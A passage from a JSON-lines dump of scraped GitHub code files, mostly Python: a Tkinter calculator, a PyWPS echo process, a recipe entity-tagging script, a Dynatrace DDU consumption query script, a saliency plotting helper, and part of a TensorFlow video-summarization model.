fig.for_each_annotation(lambda a: a.update(text=a.text.split(\"=\")[-1]))\n\n return fig\n","repo_name":"jmzk96/yelp-review-analysis","sub_path":"src/weatherconditions/callbacks_wc.py","file_name":"callbacks_wc.py","file_ext":"py","file_size_in_byte":1531,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"10818769311","text":"import pywps\n\nclass WebProcess(pywps.Process):\n def __init__(self):\n inputs = [pywps.ComplexInput('message',\n 'Input message',\n supported_formats=[pywps.Format('application/gml+xml'),\n pywps.Format('text/xml')],\n mode=pywps.validator.mode.MODE.NONE)]\n\n outputs = [pywps.ComplexOutput('response',\n 'Output response',\n supported_formats=[pywps.Format('application/gml+xml')])]\n\n super(WebProcess, self).__init__(\n self._handler,\n identifier='echo_vector',\n title='Echo Vector Test',\n abstract='Returns the given vector',\n version='1.0.0.0',\n inputs=inputs,\n outputs=outputs,\n store_supported=True,\n status_supported=True\n )\n\n def _handler(self, request, response):\n response.outputs['response'].data = request.inputs['message'][0].data\n\n return response\n","repo_name":"mlacayoemery/esws","sub_path":"tools/wpsserver/test/echo_vector.py","file_name":"echo_vector.py","file_ext":"py","file_size_in_byte":1138,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"30191482125","text":"from tkinter import *\n\nexpression = ''\n\ndef keystroke(event):\n if event.char.isnumeric() or event.char in '+*/-':\n press(event.char) \n\ndef press(num, event=None):\n global expression\n if not event:\n expression += str(num)\n else:\n expression += event.char\n equation.set(expression)\n\ndef clear():\n global expression\n expression = ''\n equation.set(expression)\n\ndef equalpress(event=None):\n try:\n global expression\n total = str(eval(expression))\n equation.set(total)\n except:\n equation.set('error')\n expression = ''\n\ndef backspace(event=None):\n global expression\n expression = expression[:-1]\n equation.set(expression)\n\nwindow = Tk()\nwindow.title('Basic Calculator')\nwindow.resizable(False, False)\n\nequation = StringVar()\n\n# Campo de entrada\ndisplay = Entry(\n master=window,\n state='readonly',\n justify='right', \n font=('Arial', 80),\n width=11,\n fg='Black',\n textvariable=equation\n)\ndisplay.grid(row=0, column=0, columnspan=4)\ndisplay.bind('<KeyPress>', keystroke)\ndisplay.bind('<Return>', equalpress)\ndisplay.bind('<BackSpace>', backspace)\ndisplay.focus()\n\n# Criação de buttons\nbtn_7 = Button(\n master=window,\n text='7',\n font=('arial', 16),\n height=2,\n background='#F7FDA7',\n activebackground='#F7FDA7',\n command=lambda: press(7) #Função anônima (lambda)\n)\n\nbtn_7.grid(row=1, column=0, sticky=EW)\n\nbtn_8 = Button(\n master=window,\n text='8',\n font=('Arial', 16),\n height=2,\n background='#F7FDA7',\n activebackground='#F7FDA7',\n command=lambda: press(8)\n)\n\nbtn_8.grid(row=1, column=1, sticky=EW)\n\nbtn_9 = Button(\n master=window,\n text='9',\n font=('Arial', 16),\n height=2,\n background='#F7FDA7',\n activebackground='#F7FDA7',\n command=lambda: press(9)\n)\n\nbtn_9.grid(row=1, column=2, sticky=EW)\n\nbtn_minus = Button(\n master=window,\n text='-',\n font=('Arial', 16),\n height=2,\n background='#E7A4F1',\n activebackground='#E7A4F1',\n command=lambda: press('-')\n)\n\nbtn_minus.grid(row=1, column=3, sticky=EW)\n\nbtn_4 = Button(\n master=window,\n text='4',\n font=('Arial', 16),\n height=2,\n background='#F7FDA7',\n activebackground='#F7FDA7',\n command=lambda: press(4)\n)\n\nbtn_4.grid(row=2, column=0, sticky=EW)\n\nbtn_5 = Button(\n master=window,\n text='5',\n font=('Arial', 16),\n height=2,\n background='#F7FDA7',\n activebackground='#F7FDA7',\n command=lambda: press(5)\n)\n\nbtn_5.grid(row=2, column=1, sticky=EW)\n\nbtn_6 = Button(\n master=window,\n text='6',\n font=('Arial', 16),\n height=2,\n background='#F7FDA7',\n activebackground='#F7FDA7',\n command=lambda: press(6)\n)\n\nbtn_6.grid(row=2, column=2, sticky=EW)\n\nbtn_plus = Button(\n master=window,\n text='+',\n font=('Arial', 16),\n height=2,\n background='#E7A4F1',\n activebackground='#E7A4F1',\n command=lambda: press('+')\n)\n\nbtn_plus.grid(row=2, column=3, sticky=EW)\n\nbtn_3 = Button(\n master=window,\n text='3',\n font=('Arial', 16),\n height=2,\n background='#F7FDA7',\n activebackground='#F7FDA7',\n command=lambda: press(3)\n)\n\nbtn_3.grid(row=3, column=0, sticky=EW)\n\nbtn_2 = Button(\n master=window,\n text='2',\n font=('Arial', 16),\n height=2,\n background='#F7FDA7',\n activebackground='#F7FDA7',\n command=lambda: press(2)\n)\n\nbtn_2.grid(row=3, column=1, sticky=EW)\n\nbtn_1 = Button(\n master=window,\n text='1',\n font=('Arial', 16),\n height=2,\n background='#F7FDA7',\n activebackground='#F7FDA7',\n command=lambda: press(1)\n)\n\nbtn_1.grid(row=3, column=2, sticky=EW)\n\nbtn_division = Button(\n master=window,\n text='/',\n font=('Arial', 16),\n height=2,\n background='#E7A4F1',\n activebackground='#E7A4F1',\n command=lambda: press('/')\n)\n\nbtn_division.grid(row=3, column=3, sticky=EW)\n\nbtn_clear = Button(\n master=window,\n text='C',\n font=('Arial', 16),\n height=2,\n background='orange',\n activebackground='orange',\n command=clear\n)\n\nbtn_clear.grid(row=4, column=0, sticky=EW)\n\nbtn_0 = Button(\n master=window,\n text='0',\n font=('Arial', 16),\n height=2,\n background='#F7FDA7',\n activebackground='#F7FDA7',\n command=lambda: press(0)\n)\n\nbtn_0.grid(row=4, column=1, sticky=EW)\n\nbtn_equal = Button(\n master=window,\n text='=',\n font=('Arial', 16),\n height=2,\n foreground='white',\n background='dark red',\n activebackground='dark red',\n command=equalpress\n)\n\nbtn_equal.grid(row=4, column=2, sticky=EW)\n\nbtn_mult = Button(\n master=window,\n text='X',\n font=('Arial', 16),\n height=2,\n background='#E7A4F1',\n activebackground='#E7A4F1',\n command=lambda: press('*')\n)\n\nbtn_mult.grid(row=4, column=3, sticky=EW)\n\nwindow.mainloop()","repo_name":"FelipeHardmann/python_data_science_ml_estudos","sub_path":"atividades/tkinter/bcalc.py","file_name":"bcalc.py","file_ext":"py","file_size_in_byte":4777,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"24893914551","text":"\"\"\"Escribir un programa que pida al usuario dos números y muestre por pantalla su división. Si el divisor es cero el programa debe mostrar un error.\"\"\"\n\ndef divisionNumeros(num1, num2):\n if num2 == 0:\n division = \"ERROR\"\n else:\n division = str(num1/num2)\n\n return division\n\n\ndef main():\n num1 = float(input(\"introduce un dividendo: \"))\n num2 = float(input(\"Introduce un divisor: \"))\n\n print(f\"El resultado de la operación {num1}/{num2} = {divisionNumeros(num1, num2)}\")\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"IES-Rafael-Alberti/1dawb-ejercicios-u2-Trevictus","sub_path":"src/ej2_03.py","file_name":"ej2_03.py","file_ext":"py","file_size_in_byte":544,"program_lang":"python","lang":"es","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"40481227155","text":"from transformers import pipeline, AutoModelForTokenClassification, AutoTokenizer\nimport pandas as pd\nfrom tqdm import tqdm\n\n\n\n\n\n\nquora_path = \"quora/baking.txt\" # 824\n# quora_path = \"quora/Cooking-Tips-and-Hacks.txt\" # 816\n# quora_path = \"quora/cooking.txt\" # 754\n# quora_path = \"quora/desserts.txt\" # 645\n# quora_path = \"quora/Food.txt\" # 888\n# quora_path = \"quora/healthy-cooking.txt\" # 518\n# quora_path = \"quora/homemade-items.txt\" # 468\n# quora_path = \"quora/homemade-recipes.txt\"# 73\n# quora_path = \"quora/learning-to-cook.txt\" # 734\n# quora_path = \"quora/meat.txt\" # 686\n# quora_path = \"quora/recipes.txt\" # 497\n\n\n\n\nutterances = []\ndishnames_first_col = []\ndishnames_second_col = []\ndishnames_third_col = []\n\ningredients_first_col = []\ningredients_second_col = []\ningredients_third_col = []\n\n\n\nwith open(quora_path, 'r') as f:\n for line in f.readlines():\n utterances.append(line.rstrip())\n\n\npline = pipeline(\n \"token-classification\", \n model=\"Media1129/recipe-tag-model\", \n tokenizer=\"Media1129/recipe-tag-model\", \n aggregation_strategy='simple'\n)\n\n\nfor sen_idx, utterance in enumerate(tqdm(utterances)):\n outputs = pline(utterance)\n # print(outputs)\n \n dishname = []\n ingredient = []\n\n \n for output in outputs:\n if output['entity_group'] == \"dishname\":\n # dishname.append(output['word'])\n # dishname_score.append(\"{:.2f}\".format(output['score']))\n temp_dic = {\n \"name\": output['word'],\n \"score\": \"{:.2f}\".format(output['score'])\n }\n dishname.append(temp_dic)\n elif output['entity_group'] == \"ingredient\":\n # ingredient.append(output['word'])\n # ingredient_score.append(\"{:.2f}\".format(output['score']))\n temp_ing_dic = {\n \"name\": output['word'],\n \"score\": \"{:.2f}\".format(output['score'])\n }\n ingredient.append(temp_ing_dic)\n\n \n \n dishname = sorted(dishname, key = lambda i: i['score'], reverse=True)\n ingredient = sorted(ingredient, key=lambda i: i['score'], reverse=True)\n \n\n if len(dishname) >= 3:\n dishnames_first_col.append(dishname[0]['name']+\" ({})\".format(dishname[0]['score']))\n dishnames_second_col.append(dishname[1]['name']+\" ({})\".format(dishname[1]['score']))\n dishnames_third_col.append(dishname[2]['name']+\" ({})\".format(dishname[2]['score']))\n elif len(dishname) == 2:\n dishnames_first_col.append(dishname[0]['name']+\" ({})\".format(dishname[0]['score']))\n dishnames_second_col.append(dishname[1]['name']+\" ({})\".format(dishname[1]['score']))\n dishnames_third_col.append(\"none\")\n elif len(dishname) == 1:\n dishnames_first_col.append(dishname[0]['name']+\" ({})\".format(dishname[0]['score']))\n dishnames_second_col.append(\"none\")\n dishnames_third_col.append(\"none\")\n elif len(dishname) == 0:\n dishnames_first_col.append(\"none\")\n dishnames_second_col.append(\"none\")\n dishnames_third_col.append(\"none\")\n\n if len(ingredient) >= 3:\n ingredients_first_col.append(ingredient[0]['name']+\" ({})\".format(ingredient[0]['score']))\n ingredients_second_col.append(ingredient[1]['name']+\" ({})\".format(ingredient[1]['score']))\n ingredients_third_col.append(ingredient[2]['name']+\" ({})\".format(ingredient[2]['score']))\n elif len(ingredient) == 2:\n ingredients_first_col.append(ingredient[0]['name']+\" ({})\".format(ingredient[0]['score']))\n ingredients_second_col.append(ingredient[1]['name']+\" ({})\".format(ingredient[1]['score']))\n ingredients_third_col.append(\"none\")\n elif len(ingredient) == 1:\n ingredients_first_col.append(ingredient[0]['name']+\" ({})\".format(ingredient[0]['score']))\n ingredients_second_col.append(\"none\")\n ingredients_third_col.append(\"none\")\n elif len(ingredient) == 0:\n ingredients_first_col.append(\"none\")\n ingredients_second_col.append(\"none\")\n ingredients_third_col.append(\"none\")\n\n\n\n\n\n\ndf = pd.DataFrame(\n {\n 'utterance': utterances,\n 'dishname_first (score)': dishnames_first_col,\n 'dishname_second (score)': dishnames_second_col,\n 'dishname_third (score)': dishnames_third_col,\n 'ingredient_first (score)': ingredients_first_col,\n 'ingredient_second (score)': ingredients_second_col,\n 'ingredient_third (score)': ingredients_third_col\n })\n\nf_name = quora_path.split('.')[0].split('/')[1]\n# df.to_csv('quora_predict/{}.csv'.format(f_name), index=False)\ndf.to_csv('{}.csv'.format(f_name), index=False)\n\n","repo_name":"Media1129/token-cls","sub_path":"quora_analyze_v2.py","file_name":"quora_analyze_v2.py","file_ext":"py","file_size_in_byte":4630,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"71697807147","text":"import sys, requests, json, time\r\nimport urllib.parse\r\nfrom tqdm import tqdm\r\nfrom datetime import date\r\n\r\nfrom configuration import *\r\n\r\nPAGE_SIZE = 200\r\nsys.tracebacklimit = 0\r\n \r\nif len(periods) == 0:\r\n print(\"ALMOST 1 PERIOD PLS\")\r\n exit()\r\n \r\nprint(API_TOKEN)\r\n\r\nallManagemementZones = None\r\n# GET ALL MZs\r\ntry:\r\n response = requests.get(\r\n BASE_URL + \"config/v1/managementZones\",\r\n headers={\"Authorization\": \"Api-Token \" + API_TOKEN},\r\n )\r\n response.raise_for_status()\r\n \r\n allManagemementZones = json.loads(response.content)[\"values\"]\r\nexcept requests.exceptions.RequestException as e:\r\n print(e)\r\n exit()\r\nexcept:\r\n print(\"GENERIC ERROR\")\r\n exit()\r\n\r\nallEntityTypes = None\r\n# GET ALL ENTITIES\r\ntry:\r\n response = requests.get(\r\n BASE_URL + \"v2/entityTypes\", headers={\"Authorization\": \"Api-Token \" + API_TOKEN}\r\n )\r\n response.raise_for_status()\r\n \r\n allEntityTypes = json.loads(response.content)[\"types\"]\r\nexcept requests.exceptions.RequestException as e:\r\n print(e)\r\n exit()\r\nexcept:\r\n print(\"GENERIC ERROR\")\r\n exit()\r\n\r\n\r\n#check if there are entities in other pages\r\ntry:\r\n nextPage = json.loads(response.content)[\"nextPageKey\"]\r\nexcept:\r\n nextPage = None\r\n \r\nwhile nextPage != None:\r\n response = requests.get(\r\n BASE_URL + \"v2/entityTypes?nextPageKey=\" + nextPage,\r\n headers={\"Authorization\": \"Api-Token \" + API_TOKEN},\r\n )\r\n response.raise_for_status()\r\n nextPage = (json.loads(response.content)).get(\"nextPageKey\", None)\r\n allEntityTypes.extend(json.loads(response.content)[\"types\"])\r\n \r\nentitiesName = [] \r\nfor entityTypeIndex, entityType in enumerate(allEntityTypes):\r\n entitiesName.append(allEntityTypes[entityTypeIndex][\"type\"])\r\n \r\n#check if there are only one periods\r\nonly_one_period = False\r\n\r\nif len(periods) == 1:\r\n only_one_period = True\r\n\r\nprint(\"FIRST PHASE - FIND WHICH ENTITIES\")\r\n\r\nfor key, value in ddu_metrics.items(): \r\n\r\n if value['enable'] == True:\r\n print(\"Find entities for:\", key)\r\n else:\r\n continue\r\n \r\n METRIC_NAME = value['metric']\r\n \r\n if len(entities[key]) != 0:\r\n print(\"There are already a definition list in config, check it\")\r\n continue\r\n \r\n \r\n for entity_temp in tqdm(entitiesName):\r\n \r\n if entity_temp in not_good_entity:\r\n continue\r\n try:\r\n #take the first and last period as reference\r\n FROM = periods[0][0] #first\r\n TO = periods[-1][1] #last\r\n \r\n response = requests.get(\r\n \"{}v2/metrics/query?metricSelector={}:splitBy()&resolution=1d&entitySelector=type({})&from={}&to={}\".format(\r\n BASE_URL,\r\n METRIC_NAME,\r\n entity_temp,\r\n FROM.replace(\"+\", \"%2B\", 1),\r\n TO.replace(\"+\", \"%2B\", 1),\r\n \r\n ),\r\n headers={\"Authorization\": \"Api-Token \" + API_TOKEN},\r\n )\r\n \r\n response.raise_for_status()\r\n\r\n time.sleep(60 / MAX_REQUESTS_PER_MINUTE)\r\n dduConsumptionOfMZandETDict = json.loads(response.content)[\"result\"][0][\"data\"]\r\n \r\n \r\n dduConsumptionOfMZandET = 0\r\n if dduConsumptionOfMZandETDict:\r\n # Filter out every empty usage values and create the sum of ddu usage\r\n dduConsumptionOfMZandET = sum(\r\n filter(None, dduConsumptionOfMZandETDict[0][\"values\"])\r\n )\r\n \r\n if dduConsumptionOfMZandET > 0:\r\n entities[key].append(entity_temp)\r\n \r\n except requests.exceptions.RequestException as e:\r\n print(\"ERRORE\", e)\r\n continue\r\n \r\n print(entities[key])\r\n print()\r\n \r\n\r\nif not only_one_period:\r\n print(\"SECOND PHASE - FIND WHICH MZ\")\r\nelse:\r\n print(\"SECOND and THIRD PHASE - FIND DDU CONS. for MZs\")\r\n \r\nfor key, value in ddu_metrics.items(): \r\n \r\n temp_list_MZ = []\r\n \r\n if value['enable'] == True:\r\n if only_one_period:\r\n print(\"Find MZ DDU Consumption for:\", key)\r\n else:\r\n print(\"Find MZ for:\", key)\r\n else:\r\n continue\r\n \r\n METRIC_NAME = value['metric']\r\n MZ_to_check = []\r\n \r\n \r\n if len(MZs[key]) != 0 and not only_one_period:\r\n print(\"There are already a definition list in config, check it\")\r\n continue\r\n if len(MZs[key]) != 0 and only_one_period:\r\n print(\"Skip finding MZ, we have already a list\")\r\n MZ_to_check = MZs[key]\r\n else:\r\n for managementZoneIndex, managementZone in enumerate(allManagemementZones):\r\n MZ_to_check.append(managementZone['name'])\r\n \r\n \r\n for managementZone_name in tqdm(MZ_to_check):\r\n dduConsumptionOfManagementZone = 0\r\n FROM = periods[0][0] #str(sys.argv[1])\r\n TO = periods[-1][1]#str(sys.argv[2])\r\n \r\n d0 = date(int(FROM[:4]), int(FROM[5:7]), int(FROM[8:10]))\r\n d1 = date(int(TO[:4]), int(TO[5:7]), int(TO[8:10]))\r\n delta = d1 - d0\r\n delta = int(delta.days)\r\n \r\n if delta <= 7:\r\n resolution = '1h'\r\n elif delta <= 31:\r\n resolution = '1d'\r\n elif delta <= 365:\r\n resolution = '1w'\r\n else:\r\n resolution = '1M'\r\n \r\n FILTER_ENTITY = []\r\n for entityType in entities[key]:\r\n if entityType in not_good_entity:\r\n continue\r\n else:\r\n temp_string = 'in(\"dt.entity.monitored_entity\",entitySelector(\"type({}),mzName(~\"{}~\")\"))'.format(entityType, managementZone_name)\r\n FILTER_ENTITY.append(temp_string)\r\n \r\n FILTER_ENTITY = ','.join(FILTER_ENTITY)\r\n \r\n base = '{}v2/metrics/query?metricSelector={}:splitBy(\"dt.entity.monitored_entity\"):filter(or({})):splitBy():fold(sum)&resolution={}&from={}&to={}'.format(\r\n BASE_URL,\r\n METRIC_NAME,\r\n FILTER_ENTITY,\r\n resolution,\r\n FROM,\r\n TO\r\n )\r\n \r\n base_encoded = urllib.parse.quote(base, safe=':/?=()&,')\r\n \r\n try: \r\n response = requests.get(base_encoded, headers={\"Authorization\": \"Api-Token \" + API_TOKEN},)\r\n \r\n response.raise_for_status()\r\n time.sleep(60 / MAX_REQUESTS_PER_MINUTE)\r\n dduConsumptionOfMZandETDict = json.loads(response.content)[\"result\"][0][\"data\"]\r\n\r\n\r\n if dduConsumptionOfMZandETDict:\r\n dduConsumptionOfMZandET = 0\r\n dduConsumptionOfMZandET = sum(\r\n filter(None, dduConsumptionOfMZandETDict[0][\"values\"])\r\n )\r\n \r\n dduConsumptionOfManagementZone = dduConsumptionOfMZandET\r\n \r\n \r\n \r\n except requests.exceptions.RequestException as e:\r\n print(\"ERRORE\", entityType, e)\r\n continue\r\n \r\n if dduConsumptionOfManagementZone > 0:\r\n MZs[key].append(managementZone_name)\r\n if only_one_period:\r\n temp_list_MZ.append(\" \".join([managementZone_name, \"|\", str(round(dduConsumptionOfManagementZone, 2)), \"|\", FROM, \"|\", TO]))\r\n \r\n if not only_one_period:\r\n print(MZs[key])\r\n else:\r\n print(\"\\n\".join(temp_list_MZ))\r\n \r\n print()\r\n\r\nif not only_one_period:\r\n print(\"THIRD PHASE - FIND DDU CONS. FOR MZ\")\r\nelse:\r\n exit() #already done\r\n\r\n\r\nfor key, value in ddu_metrics.items(): \r\n\r\n if value['enable'] == True:\r\n if only_one_period:\r\n print(\"Find MZ DDU Consumption for:\", key)\r\n else:\r\n print(\"Find MZ for:\", key)\r\n else:\r\n continue\r\n \r\n METRIC_NAME = value['metric']\r\n\r\n for managementZone in MZs[key]:\r\n \r\n for period in periods:\r\n \r\n dduConsumptionOfManagementZone = 0\r\n FROM = period[0]\r\n TO = period[1]\r\n \r\n \r\n d0 = date(int(FROM[:4]), int(FROM[5:7]), int(FROM[8:10]))\r\n d1 = date(int(TO[:4]), int(TO[5:7]), int(TO[8:10]))\r\n delta = d1 - d0\r\n delta = int(delta.days)\r\n \r\n if delta <= 7:\r\n resolution = '1h'\r\n elif delta <= 31:\r\n resolution = '1d'\r\n elif delta <= 365:\r\n resolution = '1w'\r\n else:\r\n resolution = '1M'\r\n \r\n \r\n FILTER_ENTITY = []\r\n for entityType in entities[key]:\r\n if entityType in not_good_entity:\r\n continue\r\n else:\r\n temp_string = 'in(\"dt.entity.monitored_entity\",entitySelector(\"type({}),mzName(~\"{}~\")\"))'.format(entityType, managementZone)\r\n FILTER_ENTITY.append(temp_string)\r\n \r\n FILTER_ENTITY = ','.join(FILTER_ENTITY)\r\n \r\n base = '{}v2/metrics/query?metricSelector={}:splitBy(\"dt.entity.monitored_entity\"):filter(or({})):splitBy():fold(sum)&resolution={}&from={}&to={}'.format(\r\n BASE_URL,\r\n METRIC_NAME,\r\n FILTER_ENTITY,\r\n resolution,\r\n FROM,\r\n TO\r\n )\r\n \r\n base_encoded = urllib.parse.quote(base, safe=':/?=()&,')\r\n \r\n try: \r\n response = requests.get(base_encoded, headers={\"Authorization\": \"Api-Token \" + API_TOKEN},)\r\n \r\n response.raise_for_status()\r\n\r\n\r\n time.sleep(60 / MAX_REQUESTS_PER_MINUTE)\r\n dduConsumptionOfMZandETDict = json.loads(response.content)[\"result\"][0][\"data\"]\r\n\r\n if dduConsumptionOfMZandETDict:\r\n dduConsumptionOfMZandET = 0\r\n dduConsumptionOfMZandET = sum(\r\n filter(None, dduConsumptionOfMZandETDict[0][\"values\"])\r\n )\r\n \r\n dduConsumptionOfManagementZone = dduConsumptionOfMZandET\r\n \r\n except requests.exceptions.RequestException as e:\r\n print(\"!!!!!!!!!!!!!!!ERROR!!!!!!!!!!!!!!!\", entityType, e)\r\n continue\r\n \r\n \r\n print(managementZone, \"|\", str(round(dduConsumptionOfManagementZone, 2)), \"|\", FROM, \"|\", TO)\r\n \r\n print()\r\n\r\n\r\n","repo_name":"YanDieg/DDU-Management-Zones-Dynatrace","sub_path":"ddu_script.py","file_name":"ddu_script.py","file_ext":"py","file_size_in_byte":10655,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"11493631229","text":"import os\nimport time\n\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport pandas as pd\nimport seaborn as sns\n\n\ndef create_saliency_plot(mean_importance, sd_importance, feature_names):\n \"\"\" Creates and stores plots for torch saliency specifically.\n\n Args:\n mean_importance: Mean saliency/importance values as computed by the torch saliency function.\n sd_importance: Respective standard deviation.\n feature_names: List of the feature names in the dataset.\n clf_name: Name of the classifier.\n \n \"\"\"\n value_col = \"Importance\"\n feature_col = \"Name\"\n sd_col = \"SD\" if sd_importance is not None else None\n timestamp = time.strftime(\"%Y-%model_type-%d-%H-%M-%S\")\n # Visualize saliencies\n if sd_importance is not None:\n df_all = pd.DataFrame({value_col: mean_importance, feature_col: feature_names, sd_col: sd_importance}\n ).sort_values(value_col, ascending=True)\n else:\n df_all = pd.DataFrame({value_col: mean_importance, feature_col: feature_names}\n ).sort_values(value_col, ascending=True)\n\n # Create chunks of features sorted by intervals\n stride = 0.25 # determines value range that belongs to one interval\n dfs = _chunk_by_importance(df_all, value_col, stride=stride)\n plot_subfolder = os.path.join(\"..\", \"plots\", value_col, timestamp)\n os.makedirs(plot_subfolder, exist_ok=True)\n\n for i, df in enumerate(dfs):\n lower_bound = 0.0 + i * stride\n upper_bound = stride + i * stride\n title = f\"SmoothGrad Saliencies for POD\\n Range {lower_bound} to {upper_bound}\"\n file_name = f\"importances_range_{lower_bound}_to_{upper_bound}.pdf\"\n horizontal_importance_plot(df, value_col, feature_col, title, sd_col=sd_col, xtick_step=stride,\n out_path=plot_subfolder, file_name=file_name)\n\n\ndef _chunk_by_importance(df, value_col, stride=0.2):\n \"\"\" If long lists of features are provided, this function can be used to chunk the importance values in order to create\n multiple plots.\n\n Args:\n df: DataFrame with importance values to be plotted.\n value_col (str): Name of the column in which the importances are located.\n stride: Interval of values that should belong to one chunk.\n \"\"\"\n dfs = []\n num_chunks = int(1 / stride)\n bounds = [0.0, stride]\n for chunk in range(num_chunks):\n dfs += [df[(df[value_col] >= bounds[0]) & (df[value_col] < bounds[1])]]\n bounds = [bound + stride for bound in bounds]\n return dfs\n\n\ndef horizontal_importance_plot(df, value_col, feature_col, title, sd_col=None, xtick_step=0.1, out_path='../plots',\n file_name='horizontal_plot'):\n \"\"\" Create plot for importances with horizontal bars.\n\n Args:\n df: DataFrame with importance values to be plotted.\n value_col (str): Name of the column in which the importances are located.\n feature_col (str): Name of the column in which the feature names are located.\n title (str): Title of the plot.\n sd_col (str): Plot SD whisker if name of the column with SD's are provided.\n xtick_step: Stepsize between ticks on x-axis.\n out_path: Where to store the plot. \n file_name: Name of the plot file. \n \"\"\"\n\n # Size the plot such that it fits a DinA4 page\n din4_len = 11 * (17 / 24) # length in inches\n din4_width = 8.25 # width in inches\n text_frame_color = '#25404B'\n plot_color = \"#0073EE\"\n plot_len = len(df) / din4_len if len(df) > din4_len else len(df) * 1.5\n plt.figure(figsize=(din4_width, plot_len))\n\n if len(df) > 0: # Make sure df is not empty since it would throw an error\n if sd_col is not None:\n sns.barplot(x=value_col, y=feature_col, data=df, label=df[feature_col], color=plot_color, ci=sd_col)\n else:\n sns.barplot(x=value_col, y=feature_col, data=df, label=df[feature_col], color=plot_color)\n\n # Adjust frame, ticks and text colors\n ax = plt.gca()\n plt.setp(ax.spines.values(), color=text_frame_color)\n plt.setp([ax.get_xticklines(), ax.get_yticklines()], color=text_frame_color)\n ax.set_ylabel('')\n ax.set_xlabel('Importance', fontsize=12, color=text_frame_color)\n plt.xticks(ticks=np.arange(0.0, 1.1, xtick_step), fontsize=10, color=text_frame_color)\n plt.yticks(fontsize=10, color=text_frame_color)\n plt.title(title, size=14, color=text_frame_color)\n\n # Store\n dest = os.path.join(out_path, file_name)\n plt.tight_layout()\n plt.savefig(dest)\n plt.close()\n\n print(\"Stored importance plots at:\", dest)\n\n else:\n print(\"WARNING - Tried to plot empty DataFrame.\")\n","repo_name":"adalab-ai/POD_prediction","sub_path":"src/utils/importance_plot.py","file_name":"importance_plot.py","file_ext":"py","file_size_in_byte":4904,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"15202998564","text":"import tensorflow as tf\nimport time\n\nimport sys\nimport os\nfrom time import gmtime, strftime\n\nsys.path.insert(0,\"./SumMe/python\")\n#\nfrom demo import *\nslim = tf.contrib.slim\nfrom inception_v1 import *\nimport inception\nfrom utils import read_dataset\nimport numpy as np\nfrom frame_selector import frame_selector_model\nfrom v_lstm_ae import ConvVAE\nfrom vanila import *\nimport csv\n\nnum_epochs = 10\n\n# number of video at once\nbatch_size = 1\n\n#number of frame per video\nmax_number_of_frames = 32\n\n# GoogleNet Inception Saved Model\ncheckpoint_file = 'inception_v1.ckpt'\n\n# Video summarizer saved model\n# video_summary_path = tf.train.latest_checkpoint('Results_2017-08-31 16:42:46/Checkpoints_2017-08-31 16:42:46')\n\n# input image placeHolder\ninput_tensor = tf.placeholder(tf.float32, shape=[None, 224, 224, 3], name = \"input_video_frame_placeholder\")\n\nsequence_length = tf.placeholder(tf.int32, shape=[None], name = \"input_original_video_sequence_placeholder\")\n\n# frame decode to\nlatent_dim = 100\n\n# percentage of frames to be selected per video\nfraction_selection = 0.3\n\n# # Load the model\n# sess = tf.Session()\n\nconfig = tf.ConfigProto(log_device_placement=False, allow_soft_placement=True)\nconfig.gpu_options.allow_growth=True\nsess = tf.Session(config=config)\n\n# default image dimension\ninception_v1.default_image_size = 224\n\n# Feature Extraction Scope definition\ninception_v1_arg_scope = inception.inception_v1_arg_scope()\n\n# Feature Extraction\nwith tf.device('/gpu:1'):\n\n with slim.arg_scope(inception_v1_arg_scope):\n extracedFeature = inception_v1(input_tensor, is_training=False, num_classes=1001)\n extracedFeature1 = tf.reshape(extracedFeature, [batch_size, -1, 1024])\n\n inception_saver = tf.train.Saver()\n\n with tf.variable_scope('video_summary'):\n\n scores = frame_selector_model(extracedFeature1, sequence_length)\n\n # position of frames with top score\n number_of_frames_selected = tf.cast(fraction_selection * tf.cast(sequence_length[0], tf.float32), tf.int32)\n\n # values in increasing order but indices is random\n values, indices = tf.nn.top_k(scores, number_of_frames_selected)\n\n # sort indices and select all\n sortedIndicesValue, sortedindi = tf.nn.top_k(indices, number_of_frames_selected)\n\n # reverse along 1 (a video)\n reverseindiesDimeOne = tf.reverse(sortedIndicesValue, [1])\n\n reverseindies = tf.expand_dims(reverseindiesDimeOne, axis=2)\n\n b = tf.stack([i*tf.ones([number_of_frames_selected], dtype = tf.int32) for i in range(0, reverseindies.shape[0])])\n # b = tf.constant(tf.concat([i*tf.ones([sequence_length[0]]) for i in range(0, reverseindies.shape[0])], axis=0), dtype=tf.int32)\n b = tf.expand_dims(b, 2)\n\n final_ids = tf.concat([b, reverseindies], axis=2)\n\n #combine frames with top score\n selectedFramesFeature = tf.gather_nd(extracedFeature1,final_ids)\n\n #convert to pass to the lstm variational auto encoder\n #load lstm variational auto encoder\n\n sequence_length_vae = tf.reshape(number_of_frames_selected, [batch_size])\n cvae = ConvVAE(latent_dim, selectedFramesFeature, batch_size, sequence_length_vae)\n\n ganLoss = gan_loss(selectedFramesFeature, extracedFeature1, sequence_length, sequence_length_vae)\n\n lossScore = (tf.reduce_sum(scores)/batch_size*tf.cast(sequence_length[0], tf.float32)) - fraction_selection\n\n #loss calculation 1 sparsity + (reconst + priop )\n encoderDecoderLoss = lossScore + cvae.loss\n\n #loss calculation 2 reconst + GAN\n reconsGanLoss = cvae.generation_loss_mean + ganLoss\n\n #loss calculation 3 GAN (negative sign is added to minimize as only supported by tensorflow\n ganLossAlone = -ganLoss\n\n # = tf.train.Saver(tf.get_collection(tf.GraphKeys.GLOBAL_VARIABLES, scope='video_summary'))\n video_summary_saver = tf.train.Saver(tf.get_collection(tf.GraphKeys.GLOBAL_VARIABLES, scope='video_summary'), max_to_keep = 5)\n # video_summary_saver.restore(sess, video_summary_path)\n # print (\"Video Summarizer restore done\")\n\n #optimizer 1 training variable list\n encoderDecoderTrainList=[tf.get_collection(tf.GraphKeys.GLOBAL_VARIABLES, scope='video_summary/bi_directional_lstm'), tf.get_collection(tf.GraphKeys.GLOBAL_VARIABLES, scope='video_summary/encoder')]\n #optimizer 1\n print 